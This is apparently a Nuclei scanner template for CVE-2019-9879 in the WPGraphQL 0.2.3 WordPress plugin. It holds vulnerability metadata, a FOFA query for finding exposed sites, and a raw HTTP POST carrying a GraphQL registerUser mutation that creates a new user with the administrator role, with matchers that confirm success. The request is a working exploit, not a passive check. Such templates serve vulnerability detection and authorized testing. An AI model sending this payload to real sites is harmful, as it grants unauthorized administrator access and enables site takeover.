id: CVE-2019-9879

info:
  name: WPGraphQL 0.2.3 - User Creation
  author: DhiyaneshDk
  severity: critical
  description: |
    The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
  reference:
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://github.com/pentestpartners/snippets/blob/master/wp-graphql0.2.3_exploit.py
    - https://wpscan.com/vulnerability/2d451c89-91ce-4151-b3fb-56af15869644/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9879
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9879
    cwe-id: CWE-306
    epss-score: 0.60924
    epss-percentile: 0.98288
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp-graphql,wpengine,wordpress,wp-plugin,intrusive,kev

variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json

        {"query": "mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\"{{user_email}}\",password:\"{{password}}\",username:\"{{username}}\",roles:[\"administrator\"]}){clientMutationId}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains_all(body, 'UWHATM8', '{\"status\":')
        condition: and
# digest: 490a00463044022022e8654cf371c15f1b462bfaf824b3df34c279654b4c7288236d089bce89bb66022042500700dba0b9b8c5a13f8ad3bfad1f1704dbc19356b92b6cd972b5cf7f9274:922c64590222798bb761d5b6d8e72950